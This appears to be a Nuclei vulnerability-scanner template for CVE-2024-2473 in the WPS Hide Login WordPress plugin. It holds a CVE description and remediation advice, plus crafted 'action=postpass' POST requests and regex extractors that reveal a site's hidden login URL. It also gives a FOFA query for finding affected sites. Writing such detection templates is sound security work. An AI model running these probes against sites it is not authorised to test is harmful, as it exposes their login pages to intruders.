WPS Hide Login <= 1.9.15.2 - Login Page Disclosure

id: CVE-2024-2473

info:
  name: WPS Hide Login <= 1.9.15.2 - Login Page Disclosure
  author: popcorn94,rodtvs
  severity: medium
  description: |
    The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.
  impact: |
    Attackers can discover hidden WordPress login pages by bypassing the WPS Hide Login plugin's protection mechanism.
  remediation: |
    Update WPS Hide Login plugin to a version newer than 1.9.15.2.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-2473
    cwe-id: CWE-200
    epss-score: 0.01235
    epss-percentile: 0.65432
    cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/wps-hide-login"
    vendor: wpserveur
    product: wps-hide-login
  tags: cve,cve2024,wordpress,wp-plugin,wp,disclosure,wps-hide-login,vuln,vkev

flow: http(1) && (http(2) || http(3))

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    host-redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "wp-content"
          - "wp-includes"
        condition: or
        internal: true

  - raw:
      - |
        POST /wp-login.php?action=postpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=lostpassword&post_password=test
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "lostpasswordform", "action=")'
          - '!contains(body, "wp-login.php")'
          - 'regex("<form[^>]+action=\"([^\"]+lostpassword[^\"]*)\"", body)'
        condition: and
    extractors:
      - type: regex
        part: body
        name: hidden_login_url
        group: 1
        regex:
          - '<form[^>]+action="([^"]+lostpassword[^"]*)"'

  - raw:
      - |
        POST /wp-admin/?action=postpass HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "Location")'
          - 'contains_any(header, "reauth=1", "/login")'
          - 'regex("(?i)Location:.*lostpassword", header)'
        condition: and

    extractors:
      - type: regex
        part: header
        name: hidden_login_url
        group: 1
        regex:
          - '(?i)Location:\s*(.+)'
# digest: 4a0a00473045022100d54576c4776dfc7d4567f2f247d5c4664f81b4db241dca558d0072670e41c9e2022038f39caccae75a6db77943944a7b00f296b8ed83adb94abf75db28857cec255a:922c64590222798bb761d5b6d8e72950